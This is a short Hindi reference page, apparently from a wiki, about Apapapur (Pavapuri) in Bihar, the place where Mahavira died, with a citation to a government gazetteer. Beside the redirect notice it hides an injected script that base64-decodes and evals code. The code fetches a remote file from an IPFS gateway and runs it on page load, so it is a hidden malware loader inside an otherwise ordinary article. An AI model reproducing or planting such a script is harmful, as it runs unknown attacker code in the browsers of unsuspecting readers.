अपापापुर

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  • अपापापुर बिहार शरीफ़ स्टेशन से 9 मील पर स्थित है।
  • अंतिम जैन तीर्थकर महावीर के मृत्युस्थान के रूप में यह स्थान इतिहास-प्रसिद्ध है।
  • महावीर की मृत्यु 72 वर्ष की आयु में अपापापुर के राजा हस्तिपाल के लेखकों के कार्यालय में हुई थी।
  • उस दिन कार्तिकमास के कृष्णपक्ष की अमावस्या थी।
  • विविध तीर्थकल्प के अनुसार अंतिम जिन या तीर्थकर महावीर की वाणी इस स्थान के निकट स्थित एक पहाड़ी की गुफा में गूंजती थीं इस जैन ग्रन्थ के अनुसार महावीर जृंभिका से महासेन वन में आए थे।
  • यहां उन्होंनें दो दिन के उपवास के पश्चात् अपना अंतिम उपदेश दिया और राजा हस्तिकाल के करागृह में पहुंच कर निर्वांण प्राप्त किया।

{{#icon: Redirect-01.gif|ध्यान दें}}<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>अधिक जानकारी के लिए देखें:- पावापुरी

टीका टिप्पणी और संदर्भ

  • ऐतिहासिक स्थानावली | पृष्ठ संख्या= 28| विजयेन्द्र कुमार माथुर | वैज्ञानिक तथा तकनीकी शब्दावली आयोग | मानव संसाधन विकास मंत्रालय, भारत सरकार


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